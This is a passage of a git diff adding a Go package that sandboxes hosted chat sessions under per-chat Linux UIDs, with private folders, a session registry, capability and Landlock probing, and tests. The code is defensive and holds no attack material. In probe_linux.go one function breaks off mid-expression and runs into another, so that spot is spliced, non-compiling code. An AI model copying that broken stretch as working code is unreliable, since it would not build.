cmd.WaitDelay = time.Second + if err := cmd.Start(); err != nil { + in.Close() + out.Close() + return nil, err + } + child.signal = cmd.Process.Signal + go func() { + child.waitErr = cmd.Wait() + close(done) + }() + return child, nil +} + +type stderrRing struct { + data [4096]byte + next int + size int +} + +func (r *stderrRing) Write(p []byte) (int, error) { + n := len(p) + if n >= len(r.data) { + copy(r.data[:], p[n-len(r.data):]) + r.next, r.size = 0, len(r.data) + } else { + first := copy(r.data[r.next:], p) + copy(r.data[:], p[first:]) + r.next = (r.next + n) % len(r.data) + r.size = min(r.size+n, len(r.data)) + } + return n, nil +} + +func (r *stderrRing) text() string { + if r.size < len(r.data) { + return string(r.data[:r.size]) + } + return string(r.data[r.next:]) + string(r.data[:r.next]) +} diff --git a/internal/sessionhost/layout.go b/internal/sessionhost/layout.go new file mode 100644 index 0000000000..eef80e31fe --- /dev/null +++ b/internal/sessionhost/layout.go @@ -0,0 +1,118 @@ +//go:build linux + +package sessionhost + +import ( + "crypto/sha256" + "errors" + "fmt" + "os" + "path/filepath" + "regexp" + "strings" + "syscall" +) + +var ( + sessionID = regexp.MustCompile(`^hs_[0-9a-f]{24}$`) + personHandle = regexp.MustCompile(`^[a-z0-9][a-z0-9._-]{0,63}$`) + errLayout = errors.New("The chat folder is unavailable.") +) + +type layout struct { + dir string +} + +func (l layout) home() string { return filepath.Join(l.dir, "home") } +func (l layout) work() string { return filepath.Join(l.dir, "work") } +func (l layout) tmp() string { return filepath.Join(l.dir, "tmp") } + +func personDir(person string) string { + sum := sha256.Sum256([]byte(person)) + return fmt.Sprintf("p_%x", sum[:8]) +} + +func layoutFor(data, person, id string) (layout, error) { + if !sessionID.MatchString(id) || !personHandle.MatchString(person) { + return layout{}, errLayout + } + people := filepath.Join(data, "people") + dir := filepath.Clean(filepath.Join(people, personDir(person), id)) + rel, err := filepath.Rel(people, dir) + if err != nil || rel == "." || rel == ".." || strings.HasPrefix(rel, ".."+string(os.PathSeparator)) { + return layout{}, errLayout + } + return layout{dir: dir}, nil +} + +func ownerUID(info os.FileInfo) int { + return int(info.Sys().(*syscall.Stat_t).Uid) +} + +func supervisorDir(path string, mode os.FileMode) error { + if err := os.Mkdir(path, mode); err != nil { + if errors.Is(err, os.ErrExist) { + return checkSupervisorDir(path, mode) + } + return err + } + return setFreshMode(path, mode) +} + +func setFreshMode(path string, mode os.FileMode) error { + info, err := os.Lstat(path) + if err != nil { + return err + } + if !info.IsDir() || ownerUID(info) != os.Geteuid() { + return errLayout + } + // Set the exact permissions even if the operator used a stricter umask. + return os.Chmod(path, mode) +} + +func checkSupervisorDir(path string, mode os.FileMode) error { + info, err := os.Lstat(path) + if err != nil { + return err + } + if !info.IsDir() || ownerUID(info) != os.Geteuid() || info.Mode().Perm() != mode { + return errLayout + } + return nil +} + +func (l layout) stat() (os.FileInfo, error) { + parent := filepath.Dir(l.dir) + for _, path := range []string{filepath.Dir(parent), parent} { + if err := checkSupervisorDir(path, 0o711); err != nil { + return nil, err + } + } + info, err := os.Lstat(l.dir) + if err != nil { + return nil, err + } + if !info.IsDir() { + return nil, errLayout + } + return info, nil +} + +// makePrivateDir reports whether it created the outer folder. Only that fresh +// folder can be rolled back by the caller or handed to a new owner. +func (l layout) makePrivateDir(uid int, chown func(string, int, int) error) (bool, error) { + parent := filepath.Dir(l.dir) + for _, path := range []string{filepath.Dir(parent), parent} { + if err := supervisorDir(path, 0o711); err != nil { + return false, err + } + } + if err := os.Mkdir(l.dir, 0o700); err != nil { + return false, err + } + if err := setFreshMode(l.dir, 0o700); err != nil { + return true, err + } + return true, chown(l.dir, uid, uid) +} diff --git a/internal/sessionhost/lifecycle_test.go b/internal/sessionhost/lifecycle_test.go new file mode 100644 index 0000000000..eb6ca3c5aa --- /dev/null +++ b/internal/sessionhost/lifecycle_test.go @@ -0,0 +1,120 @@ +//go:build linux + +package sessionhost + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +func TestC6_RestartKeepsWorkAndDropsCredentials(t *testing.T) { + cfg := testConfig(t) + s, _, procs := testSupervisor(t, cfg, healthyReport()) + createChat(t, s, "alice", chatA) + createChat(t, s, "alice", chatB) + kept, _ := layoutFor(cfg.Data, "alice", chatA) + missing, _ := layoutFor(cfg.Data, "alice", chatB) + orphan, _ := layoutFor(cfg.Data, "alice", chatC) + const contents = "keep this workspace" + file := filepath.Join(kept.work(), "notes.txt") + if err := os.WriteFile(file, []byte(contents), 0o600); err != nil { + t.Fatal(err) + } + if err := os.RemoveAll(missing.dir); err != nil { + t.Fatal(err) + } + if err := os.Mkdir(orphan.dir, 0o700); err != nil { + t.Fatal(err) + } + procs.live[cfg.UIDBase] = []int{1234} + procs.live[cfg.UIDBase+1] = []int{2345} + + launcher := newWireTestLauncher() + restarted := newTestSupervisor(t, cfg, healthyReport(), launcher, procs) + if len(procs.live) != 0 { + t.Fatal("processes survived startup") + } + if data, err := os.ReadFile(file); err != nil || string(data) != contents { + t.Fatalf("startup lost the workspace: %q, %v", data, err) + } + entries, err := os.ReadDir(filepath.Join(cfg.Data, "quarantine")) + if err != nil || len(entries) != 1 || !strings.HasPrefix(entries[0].Name(), chatC+"-") { + t.Fatalf("unregistered folder was not quarantined: %v, %v", entries, err) + } + if _, err := os.Lstat(orphan.dir); !os.IsNotExist(err) { + t.Fatalf("unregistered folder remains in place: %v", err) + } + for _, id := range []string{chatA, chatB} { + w := request(restarted, "GET", "/v1/sessions/"+id, cfg.Secret, "alice", "") + if w.Code != 200 || !strings.Contains(w.Body.String(), `"state":"suspended"`) { + t.Fatalf("restart did not suspend %s: %d %s", id, w.Code, w.Body) + } + w = request(restarted, "GET", "/v1/sessions/"+id+"/wire", cfg.Secret, "alice", "") + wantError(t, w, 409, "This chat has no model access yet.") + } + w := request(restarted, "PUT", "/v1/sessions/"+chatB+"/credentials", cfg.Secret, "alice", + `{"model_url":"http://model.test/v1","model_token":"new-fake-token"}`) + if w.Code != 204 { + t.Fatalf("restore model credentials: %d %s", w.Code, w.Body) + } + conn := dialWire(t, restarted, chatB) + defer conn.CloseNow() + launcher.child(t) + for _, path := range []string{missing.home(), missing.work(), missing.tmp()} { + entries, err := os.ReadDir(path) + if err != nil || len(entries) != 0 { + t.Fatalf("attach did not recreate an empty chat folder: %v, %v", entries, err) + } + } +} + +func TestC7_StopClearsTemporaryFilesAndKeepsWork(t *testing.T) { + cfg := testConfig(t) + s, _, procs := testSupervisor(t, cfg, healthyReport()) + createChat(t, s, "alice", chatA) + l, _ := layoutFor(cfg.Data, "alice", chatA) + file := filepath.Join(l.work(), "notes.txt") + if err := os.WriteFile(file, []byte("keep this"), 0o600); err != nil { + t.Fatal(err) + } + nested := filepath.Join(l.tmp(), "nested") + if err := os.Mkdir(nested, 0o700); err != nil { + t.Fatal(err) + } + if err := os.Symlink(l.work(), filepath.Join(nested, "work")); err != nil { + t.Fatal(err) + } + if err := os.Chmod(nested, 0); err != nil { + t.Fatal(err) + } + procs.live[cfg.UIDBase] = []int{1234} + for repeat := 0; repeat < 2; repeat++ { + w := request(s, "POST", "/v1/sessions/"+chatA+"/stop", cfg.Secret, "alice", "") + if w.Code != 204 || len(procs.live) != 0 { + t.Fatalf("stop did not complete: %d %s", w.Code, w.Body) + } + } + if data, err := os.ReadFile(file); err != nil || string(data) != "keep this" { + t.Fatalf("stop changed work: %q, %v", data, err) + } + if entries, err := os.ReadDir(l.tmp()); err != nil || len(entries) != 0 { + t.Fatalf("stop left temporary files: %v, %v", entries, err) + } + w := request(s, "GET", "/v1/sessions/"+chatA+"/wire", cfg.Secret, "alice", "") + wantError(t, w, 409, "This chat has no model access yet.") + w = request(s, "DELETE", "/v1/sessions/"+chatA, cfg.Secret, "alice", "") + if w.Code != 204 { + t.Fatalf("delete did not complete: %d %s", w.Code, w.Body) + } + if _, err := os.Lstat(l.dir); !os.IsNotExist(err) { + t.Fatalf("delete left the chat folder: %v", err) + } + w = request(s, "GET", "/v1/sessions/"+chatA, cfg.Secret, "alice", "") + wantError(t, w, 404, "There is no such chat.") + createChat(t, s, "alice", chatB) + if s.registry.sessions[chatB].UID != cfg.UIDBase+1 { + t.Fatal("delete did not quarantine the process identity") + } +} diff --git a/internal/sessionhost/platform_other.go b/internal/sessionhost/platform_other.go new file mode 100644 index 0000000000..f675ef043c --- /dev/null +++ b/internal/sessionhost/platform_other.go @@ -0,0 +1,32 @@ +//go:build !linux + +package sessionhost + +import ( + "context" + "errors" + "fmt" + "os" +) + +const unsupported = "Hosted chats require a Linux server." + +func Probe(cfg Config) Report { + return Report{ + Mode: modeRefused, Reason: unsupported, Require: cfg.Require, + EUID: os.Geteuid(), FenceMode: "none", CapNamesEff: []string{}, + UIDSwitch: SwitchReport{Error: unsupported}, + } +} + +func ListenAndServe(context.Context, Config, Report) error { + return errors.New(unsupported) +} + +func RunHelper([]string) int { + fmt.Fprintln(os.Stderr, unsupported) + return 126 +} + +// RestrictSupervisor has nothing to restrict where hosted chats do not run. +func RestrictSupervisor() error { return nil } diff --git a/internal/sessionhost/probe.go b/internal/sessionhost/probe.go new file mode 100644 index 0000000000..a99cbcd2e6 --- /dev/null +++ b/internal/sessionhost/probe.go @@ -0,0 +1,54 @@ +package sessionhost + +// Report is the operator-facing feasibility report, with a compact projection +// served by the health endpoint. +type Report struct { + OK bool `json:"ok"` + Mode string `json:"mode"` + Reason string `json:"reason"` + Kernel string `json:"kernel"` + EUID int `json:"euid"` + CapEff string `json:"cap_eff"` + CapBnd string `json:"cap_bnd"` + CapNamesEff []string `json:"cap_names_eff"` + NoNewPrivs int `json:"no_new_privs"` + Seccomp int `json:"seccomp"` + UIDSwitch SwitchReport `json:"uid_switch"` + Landlock LandlockReport `json:"landlock"` + UserNS bool `json:"userns"` + PtraceScope string `json:"ptrace_scope"` + FenceMode string `json:"fence_mode"` + Require string `json:"require"` +} + +type SwitchReport struct { + OK bool `json:"ok"` + Error string `json:"error"` +} + +type LandlockReport struct { + Available bool `json:"available"` + ABI int `json:"abi"` +} + +func (r Report) decide() Report { + r.FenceMode = "none" + if r.Landlock.Available { + r.FenceMode = "landlock" + if r.UserNS { + r.FenceMode = "full" + } + } + r.OK, r.Mode = false, modeRefused + switch { + case !r.UIDSwitch.OK: + r.Reason = r.UIDSwitch.Error + case r.Require == modeUID: + r.OK, r.Mode, r.Reason = true, modeUID, "" + case r.FenceMode == "none": + r.Reason = "command restrictions are unavailable" + default: + r.OK, r.Mode, r.Reason = true, modeFenced, "" + } + return r +} diff --git a/internal/sessionhost/probe_linux.go b/internal/sessionhost/probe_linux.go new file mode 100644 index 0000000000..82059f625f --- /dev/null +++ b/internal/sessionhost/probe_linux.go @@ -0,0 +1,82 @@ +//go:build linux + +package sessionhost + +import ( + "bytes" + "context" + "os" + "strconv" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/executor" + "golang.org/x/sys/unix" +) + +func Probe(cfg Config) Report { + status, _ := readStatus("/proc/self/status") + noNewPrivs, _ := strconv.Atoi(status["NoNewPrivs"]) + seccomp, _ := strconv.Atoi(status["Seccomp"]) + ptrace, _ := os.ReadFile("/proc/sys/kernel/yama/ptrace_scope") + var info unix.Utsname + _ = unix.Uname(&info) + report := Report{ + Kernel: unix.ByteSliceToString(info.Release[:]), EUID: os.Geteuid(), + CapEff: status["CapEff"], CapBnd: status["CapBnd"], + CapNamesEff: capabilityNames(status["CapEff"]), + NoNewPrivs: noNewPrivs, Seccomp: seccomp, PtraceScope: strings.TrimSpace(string(ptrace)), + Require: cfg.Require, + } + if cfg.ForceProbe == "fail" { + report.UIDSwitch.Error = "forced to fail by CODEAF_SESSIONHOST_FORCE_PROBE" + return report.decide() + } + + report.UIDSwitch = probeSwitch(cfg) + caps := executor.Probe() + report.Landlock = LandlockReport{Available: caps.Landlock, ABI: caps.LandlockABI} + report.UserNS = caps.UserNS + return report.decide() +} + +func probeSwitch(cfg Config) SwitchReport { + if os.Geteuid() != 0 { + return SwitchReport{Error: "not running as root"} + } + launcher, err := newLauncher(cfg) + if err != nil { + return SwitchReport{Error: "could not find the chat process executable"} + } + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + cmd := launcher.command(ctx, cfg.UIDBase, "/", helperEnv(), launcher.self, "sessionhost", "whoami") + var stderr bytes.Buffer + cmd.Stderr = &stderr + out, err := cmd.Output() + switch { + case err == nil && probeIdentity(string(out), cfg.UIDBase): + return SwitchReport{OK: true} + case strings.TrimSpace(stderr.String()) == boundingError: + return SwitchReport{Error: strings.TrimSuffix(boundingError, ".")} + default: + return SwitchReport{Error: "could not switch to the chat's process identity"} + } +} + +func capabilityNames(hex string) []string { + bits, _ := strconv.ParseUint(hex, 16, 64) + names := []string{} + for i, name := range [...]string{ + "CHOWN", "DAC_OVERRIDE", "DAC_READ_SEARCH", "FOWNER", "FSETID", "KILL", "SETGID", "SETUID", + "SETPCAP", "LINUX_IMMUTABLE", "NET_BIND_SERVICE", "NET_BROADCAST", "NET_ADMIN", "NET_RAW", "IPC_LOCK", "IPC_OWNER", + "SYS_MODULE", "SYS_RAWIO", "SYS_CHROOT", "SYS_PTRACE", "SYS_PACCT", "SYS_ADMIN", "SYS_BOOT", "SYS_NICE", + "SYS_RESOURCE", "SYS_TIME", "SYS_TTY_CONFIG", "MKNOD", "LEASE", "AUDIT_WRITE", "AUDIT_CONTROL", "SETFCAP", + "MAC_OVERRIDE", "MAC_ADMIN", "SYSLOG", "WAKE_ALARM", "BLOCK_SUSPEND", "AUDIT_READ", "PERFMON", "BPF", "CHECKPOINT_RESTORE", + } { + if bits&(uint64(1)< 2 { + return errLayout + } + path, mode := args[0], reapAll + if len(args) == 2 { + mode = reapMode(args[1]) + if !filepath.IsAbs(path) { + path, mode = args[1], reapMode(args[0]) + } + if mode != reapTmp && mode != reapInit { + return errLayout + } + } + if !filepath.IsAbs(path) { + return errLayout + } + dir, err := openReapDir(path) + if err != nil { + return errLayout + } + defer dir.Close() + if err := reapAt(int(dir.Fd()), mode); err != nil { + return errLayout + } + return nil +} + +func openReapDir(path string) (*os.File, error) { + fd, err := unix.Open(path, unix.O_PATH|unix.O_DIRECTORY|unix.O_NOFOLLOW|unix.O_CLOEXEC, 0) + if err != nil { + return nil, err + } + return os.NewFile(uintptr(fd), path), nil +} + +func reapAt(fd int, mode reapMode) error { + // Repair only a directory opened without following a link. Using its + // proc descriptor also works when its owner removed all permissions. + if err := os.Chmod(procFDPath(fd), 0o700); err != nil { + return err + } + switch mode { + case reapInit: + for _, name := range []string{"home", "work", "tmp"} { + if err := mkdirPrivateAt(fd, name); err != nil { + return err + } + } + return nil + case reapTmp: + if err := removeAt(fd, "tmp"); err != nil { + return err + } + return mkdirPrivateAt(fd, "tmp") + default: + return removeContents(fd) + } +} + +func procFDPath(fd int) string { + return "/proc/self/fd/" + strconv.Itoa(fd) +} + +func mkdirPrivateAt(parent int, name string) error { + if err := unix.Mkdirat(parent, name, 0o700); err != nil { + return err + } + return unix.Fchmodat(parent, name, 0o700, 0) +} + +func removeContents(fd int) error { + // Read batches so the amount of memory does not depend on directory size. + dir, err := os.Open(procFDPath(fd)) + if err != nil { + return err + } + defer dir.Close() + for { + names, err := dir.Readdirnames(128) + for _, name := range names { + if err := removeAt(fd, name); err != nil { + return err + } + } + if errors.Is(err, io.EOF) { + return nil + } + if err != nil { + return err + } + } +} + +func removeAt(parent int, name string) error { + // Unlinking first handles ordinary files and every kind of symlink + // without opening them. Only directories need to be walked. + err := unix.Unlinkat(parent, name, 0) + if err == nil || errors.Is(err, unix.ENOENT) { + return nil + } + if !errors.Is(err, unix.EISDIR) { + return err + } + fd, err := unix.Openat(parent, name, unix.O_PATH|unix.O_DIRECTORY|unix.O_NOFOLLOW|unix.O_CLOEXEC, 0) + if err != nil { + return err + } + defer unix.Close(fd) + if err := reapAt(fd, reapAll); err != nil { + return err + } + return unix.Unlinkat(parent, name, unix.AT_REMOVEDIR) +} diff --git a/internal/sessionhost/registry.go b/internal/sessionhost/registry.go new file mode 100644 index 0000000000..a61dcda5f0 --- /dev/null +++ b/internal/sessionhost/registry.go @@ -0,0 +1,149 @@ +//go:build linux + +package sessionhost + +import ( + "encoding/json" + "errors" + "os" + "path/filepath" + "slices" + "strings" + "time" +) + +const registryVersion = 1 + +type sessionRow struct { + ID string `json:"id"` + Person string `json:"person"` + UID int `json:"uid"` + Created time.Time `json:"created"` + LastActive time.Time `json:"last_active"` + Doomed bool `json:"doomed,omitempty"` + Missing bool `json:"missing,omitempty"` +} + +type quarantineRow struct { + UID int `json:"uid"` + Until time.Time `json:"until"` +} + +type registryFile struct { + Version int `json:"version"` + Sessions []sessionRow `json:"sessions"` + Quarantine []quarantineRow `json:"quarantine"` +} + +// The supervisor holds its mutex for every registry operation after startup. +type registry struct { + path string + sessions map[string]sessionRow + quarantine map[int]time.Time +} + +func loadRegistry(cfg Config, now time.Time) (*registry, error) { + r := ®istry{ + path: filepath.Join(cfg.Data, "registry.json"), + sessions: make(map[string]sessionRow), + quarantine: make(map[int]time.Time), + } + info, err := os.Lstat(r.path) + if errors.Is(err, os.ErrNotExist) { + return r, nil + } + if err != nil || !info.Mode().IsRegular() || info.Mode().Perm() != 0o600 || ownerUID(info) != os.Geteuid() { + return nil, errors.New("The chat registry is unavailable.") + } + b, err := os.ReadFile(r.path) + if err != nil { + return nil, err + } + var disk registryFile + if json.Unmarshal(b, &disk) != nil || disk.Version != registryVersion { + return nil, errors.New("The chat registry could not be read.") + } + used := make(map[int]bool) + for _, row := range disk.Sessions { + _, duplicate := r.sessions[row.ID] + if duplicate || used[row.UID] || !cfg.ownsUID(row.UID) || + !sessionID.MatchString(row.ID) || !personHandle.MatchString(row.Person) { + return nil, errors.New("The chat registry contains an invalid entry.") + } + r.sessions[row.ID] = row + used[row.UID] = true + } + for _, row := range disk.Quarantine { + if !row.Until.After(now) { + continue + } + if used[row.UID] || !cfg.ownsUID(row.UID) { + return nil, errors.New("The chat registry contains an invalid entry.") + } + r.quarantine[row.UID] = row.Until + used[row.UID] = true + } + return r, nil +} + +func (r *registry) put(row sessionRow) error { + old, exists := r.sessions[row.ID] + r.sessions[row.ID] = row + if err := r.store(); err != nil { + if exists { + r.sessions[row.ID] = old + } else { + delete(r.sessions, row.ID) + } + return err + } + return nil +} + +func (r *registry) remove(id string, now time.Time) error { + row := r.sessions[id] + delete(r.sessions, id) + r.quarantine[row.UID] = now.Add(uidQuarantine) + if err := r.store(); err != nil { + r.sessions[id] = row + delete(r.quarantine, row.UID) + return err + } + return nil +} + +func (r *registry) store() error { + disk := registryFile{ + Version: registryVersion, + Sessions: make([]sessionRow, 0, len(r.sessions)), + Quarantine: make([]quarantineRow, 0, len(r.quarantine)), + } + for _, row := range r.sessions { + disk.Sessions = append(disk.Sessions, row) + } + slices.SortFunc(disk.Sessions, func(a, b sessionRow) int { return strings.Compare(a.ID, b.ID) }) + for uid, until := range r.quarantine { + disk.Quarantine = append(disk.Quarantine, quarantineRow{UID: uid, Until: until}) + } + slices.SortFunc(disk.Quarantine, func(a, b quarantineRow) int { return a.UID - b.UID }) + + f, err := os.CreateTemp(filepath.Dir(r.path), ".registry-*") + if err != nil { + return err + } + defer os.Remove(f.Name()) + defer f.Close() + if err := f.Chmod(0o600); err != nil { + return err + } + if err := json.NewEncoder(f).Encode(disk); err != nil { + return err + } + if err := f.Sync(); err != nil { + return err + } + if err := f.Close(); err != nil { + return err + } + return os.Rename(f.Name(), r.path) +} diff --git a/internal/sessionhost/registry_test.go b/internal/sessionhost/registry_test.go new file mode 100644 index 0000000000..7472978f73 --- /dev/null +++ b/internal/sessionhost/registry_test.go @@ -0,0 +1,85 @@ +//go:build linux + +package sessionhost + +import ( + "os" + "path/filepath" + "testing" + "time" +) + +func TestRegistryAtomicAndSurvivesRestart(t *testing.T) { + cfg := testConfig(t) + now := time.Date(2026, 11, 24, 12, 0, 0, 0, time.UTC) + r, err := loadRegistry(cfg, now) + if err != nil { + t.Fatal(err) + } + row := sessionRow{ID: chatA, Person: "alice", UID: cfg.UIDBase, Created: now, LastActive: now.Add(time.Minute)} + if err := r.put(row); err != nil { + t.Fatal(err) + } + path := filepath.Join(cfg.Data, "registry.json") + first, err := os.Stat(path) + if err != nil || first.Mode().Perm() != 0o600 { + t.Fatalf("registry permissions: %v, %v", first, err) + } + row.LastActive = now.Add(2 * time.Minute) + if err := r.put(row); err != nil { + t.Fatal(err) + } + second, err := os.Stat(path) + if err != nil || os.SameFile(first, second) { + t.Fatalf("registry was not atomically replaced: %v, %v", second, err) + } + restarted, err := loadRegistry(cfg, now) + if err != nil || restarted.sessions[chatA] != row { + t.Fatalf("registry did not retain the session: %v, %v", restarted, err) + } +} + +func TestUIDQuarantine24h(t *testing.T) { + cfg := testConfig(t) + now := time.Date(2026, 11, 24, 12, 0, 0, 0, time.UTC) + r, err := loadRegistry(cfg, now) + if err != nil { + t.Fatal(err) + } + row := sessionRow{ID: chatA, Person: "alice", UID: cfg.UIDBase} + if err := r.put(row); err != nil { + t.Fatal(err) + } + if err := r.remove(row.ID, now); err != nil { + t.Fatal(err) + } + r, err = loadRegistry(cfg, now.Add(time.Hour)) + if err != nil { + t.Fatal(err) + } + if uid := r.allocate(cfg, nil, now.Add(24*time.Hour-time.Nanosecond)); uid != cfg.UIDBase+1 { + t.Fatalf("allocated %d before quarantine ended", uid) + } + if uid := r.allocate(cfg, nil, now.Add(24*time.Hour)); uid != cfg.UIDBase { + t.Fatalf("allocated %d after quarantine ended", uid) + } + if _, exists := r.quarantine[cfg.UIDBase]; exists { + t.Fatal("expired entry was not dropped") + } +} + +func TestUIDNeverReusedWhileProcessAlive(t *testing.T) { + cfg := testConfig(t) + cfg.UIDCount = 1 + now := time.Now() + r, err := loadRegistry(cfg, now) + if err != nil { + t.Fatal(err) + } + if uid := r.allocate(cfg, processTable{cfg.UIDBase: {1234}}, now); uid != 0 { + t.Fatalf("allocated %d with a process still alive", uid) + } + if uid := r.allocate(cfg, nil, now); uid != cfg.UIDBase { + t.Fatalf("allocated %d after the process left", uid) + } +} diff --git a/internal/sessionhost/server.go b/internal/sessionhost/server.go new file mode 100644 index 0000000000..b15022f1d5 --- /dev/null +++ b/internal/sessionhost/server.go @@ -0,0 +1,326 @@ +//go:build linux + +package sessionhost + +import ( + "context" + "crypto/sha256" + "errors" + "log/slog" + "net" + "net/http" + "os" + "path/filepath" + "strconv" + "strings" + "sync" + "time" + + "golang.org/x/sys/unix" +) + +const stopGrace = 3 * time.Second + +type processes interface { + snapshot() (processTable, error) + KillAll(uid int, grace time.Duration) error +} + +type supervisorDeps struct { + launcher Launcher + processes processes + now func() time.Time + chown func(string, int, int) error + isOwner func(os.FileInfo, int) bool + log *slog.Logger +} + +type supervisor struct { + cfg Config + report Report + secret [sha256.Size]byte + supervisorDeps + + // The lock covers the registry, credentials and wire reservations. + // Reservations keep a newly forked helper from racing a stop or a slot + // check before it has switched to its session identity. + mu sync.Mutex + registry *registry + creds map[string]credentials + wires map[string]map[*wireAttach]struct{} + closing bool + wireWG sync.WaitGroup +} + +func ListenAndServe(ctx context.Context, cfg Config, report Report) error { + launcher, err := newLauncher(cfg) + if err != nil { + return errors.New("Could not find the chat process executable.") + } + s, err := newSupervisor(cfg, report, supervisorDeps{ + launcher: launcher, processes: linuxProcesses{cfg}, now: time.Now, + chown: os.Chown, isOwner: func(info os.FileInfo, uid int) bool { return ownerUID(info) == uid }, + log: slog.New(slog.NewTextHandler(os.Stderr, nil)), + }) + if err != nil { + return err + } + listener, err := net.Listen("tcp", cfg.Listen) + if err != nil { + return errors.New("Could not listen for hosted chats.") + } + srv := &http.Server{ + Handler: s, ReadHeaderTimeout: 5 * time.Second, + ReadTimeout: 15 * time.Second, IdleTimeout: time.Minute, + } + shutdown := make(chan struct{}) + stop := context.AfterFunc(ctx, func() { + defer close(shutdown) + // The detached engines belong to the container and die with it. + // Only connections and their short-lived bridge children drain here. + s.closeWires() + drain, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + if srv.Shutdown(drain) != nil { + _ = srv.Close() + } + done := make(chan struct{}) + go func() { + s.wireWG.Wait() + close(done) + }() + select { + case <-done: + case <-drain.Done(): + } + }) + defer stop() + err = srv.Serve(listener) + if errors.Is(err, http.ErrServerClosed) { + <-shutdown + return nil + } + s.closeWires() + return errors.New("The hosted chat server stopped listening.") +} + +func newSupervisor(cfg Config, report Report, deps supervisorDeps) (*supervisor, error) { + if !validUIDRange(cfg.UIDBase, cfg.UIDCount) { + return nil, errors.New("The chat process range is invalid.") + } + data, err := filepath.Abs(cfg.Data) + if err != nil { + return nil, errLayout + } + cfg.Data = data + if err := prepareData(data); err != nil { + return nil, errLayout + } + if err := supervisorDir(filepath.Join(data, "people"), 0o711); err != nil { + return nil, errLayout + } + r, err := loadRegistry(cfg, deps.now()) + if err != nil { + return nil, errors.New("The chat registry could not be opened.") + } + s := &supervisor{ + cfg: cfg, report: report, secret: sha256.Sum256([]byte(cfg.Secret)), supervisorDeps: deps, + registry: r, creds: make(map[string]credentials), wires: make(map[string]map[*wireAttach]struct{}), + } + if err := s.reconcile(); err != nil { + return nil, err + } + return s, nil +} + +func prepareData(data string) error { + // None of the configured volume components may redirect the supervisor + // through a symlink. Ancestors can be mounts owned by the operator. + path := string(os.PathSeparator) + for component := range strings.SplitSeq(strings.TrimPrefix(data, path), path) { + path = filepath.Join(path, component) + info, err := os.Lstat(path) + if errors.Is(err, os.ErrNotExist) { + if err := supervisorDir(path, 0o711); err != nil { + return err + } + info, err = os.Lstat(path) + } + if err != nil || !info.IsDir() { + return errLayout + } + if path == data && (ownerUID(info) != os.Geteuid() || info.Mode().Perm()&0o022 != 0) { + return errLayout + } + } + return nil +} + +func (s *supervisor) reconcile() error { + known := make(map[string]bool, len(s.registry.sessions)) + changed := false + for id, row := range s.registry.sessions { + if err := s.processes.KillAll(row.UID, stopGrace); err != nil { + return errors.New("An earlier chat's processes could not be stopped.") + } + folders, err := s.folders(row) + known[folders.dir] = true + missing := errors.Is(err, os.ErrNotExist) + if err != nil && !missing { + return errLayout + } + if row.Missing != missing { + row.Missing = missing + s.registry.sessions[id] = row + changed = true + } + } + if err := s.quarantineFolders(known); err != nil { + return errors.New("Unused chat folders could not be set aside.") + } + if changed && s.registry.store() != nil { + return errors.New("The chat registry could not be saved.") + } + return nil +} + +func (s *supervisor) folders(row sessionRow) (layout, error) { + folders, err := layoutFor(s.cfg.Data, row.Person, row.ID) + if err != nil { + return folders, err + } + info, err := folders.stat() + if err == nil && !s.isOwner(info, row.UID) { + err = errLayout + } + return folders, err +} + +func (s *supervisor) quarantineFolders(known map[string]bool) error { + people := filepath.Join(s.cfg.Data, "people") + parents, err := os.ReadDir(people) + if err != nil { + return err + } + for _, entry := range parents { + parent := filepath.Join(people, entry.Name()) + if err := checkSupervisorDir(parent, 0o711); err != nil { + return err + } + folders, err := os.ReadDir(parent) + if err != nil { + return err + } + for _, entry := range folders { + path := filepath.Join(parent, entry.Name()) + if known[path] { + continue + } + // Unregistered folders are retained for the operator in this + // release. Rename the entry itself without opening its contents. + destination := filepath.Join(s.cfg.Data, "quarantine") + if err := supervisorDir(destination, 0o700); err != nil { + return err + } + if err := quarantineFolder(path, destination, s.now()); err != nil { + return err + } + } + } + return nil +} + +func quarantineFolder(path, destination string, now time.Time) error { + // An earlier recovery can have quarantined the same ID in this second. + // Keep both entries without replacing either one. + for second := now.Unix(); ; second++ { + name := filepath.Base(path) + "-" + strconv.FormatInt(second, 10) + err := unix.Renameat2(unix.AT_FDCWD, path, unix.AT_FDCWD, filepath.Join(destination, name), unix.RENAME_NOREPLACE) + if !errors.Is(err, unix.EEXIST) { + return err + } + } +} + +func (s *supervisor) buildLayout(row sessionRow) (bool, error) { + folders, err := layoutFor(s.cfg.Data, row.Person, row.ID) + if err != nil { + return false, err + } + made, err := folders.makePrivateDir(row.UID, s.chown) + if err == nil { + err = s.launcher.reap(row.UID, folders, reapInit) + } + return made, err +} + +func (s *supervisor) rollbackLayout(row sessionRow) { + folders, err := layoutFor(s.cfg.Data, row.Person, row.ID) + if err == nil { + err = unix.Rmdir(folders.dir) + } + if err != nil && !errors.Is(err, os.ErrNotExist) && s.removeLayout(row) != nil { + s.retainDoomed(row) + } +} + +func (s *supervisor) retainDoomed(row sessionRow) { + row.Doomed = true + if s.registry.put(row) != nil { + // Keep the identity reserved in memory even if the volume cannot + // currently save it. Startup moves an unregistered folder aside. + s.registry.sessions[row.ID] = row + s.log.Error("could not save the cleanup record", "id", row.ID) + } +} + +func (s *supervisor) removeLayout(row sessionRow) error { + folders, err := s.folders(row) + if errors.Is(err, os.ErrNotExist) { + return nil + } + if err != nil { + return err + } + if err := s.launcher.reap(row.UID, folders, reapAll); err != nil { + return err + } + return unix.Rmdir(folders.dir) +} + +func (s *supervisor) closeWires() { + s.mu.Lock() + defer s.mu.Unlock() + s.closing = true + for _, group := range s.wires { + for wire := range group { + wire.cancel() + } + } +} + +func (s *supervisor) stopWires(id string) error { + group := s.wires[id] + for wire := range group { + wire.cancel() + if wire.child != nil { + // A just-forked helper may still be root, invisible to a scan + // of the session identity. This handle names our own child. + _ = wire.child.signal(os.Kill) + } + } + timer := time.NewTimer(stopGrace) + defer timer.Stop() + for wire := range group { + if wire.child == nil { + continue + } + select { + case <-wire.child.done: + case <-timer.C: + return errors.New(refusalText[stopFailed]) + } + } + delete(s.wires, id) + return nil +} diff --git a/internal/sessionhost/uidpool.go b/internal/sessionhost/uidpool.go new file mode 100644 index 0000000000..34cd855b1d --- /dev/null +++ b/internal/sessionhost/uidpool.go @@ -0,0 +1,28 @@ +//go:build linux + +package sessionhost + +import "time" + +const uidQuarantine = 24 * time.Hour + +func (r *registry) allocate(cfg Config, live processTable, now 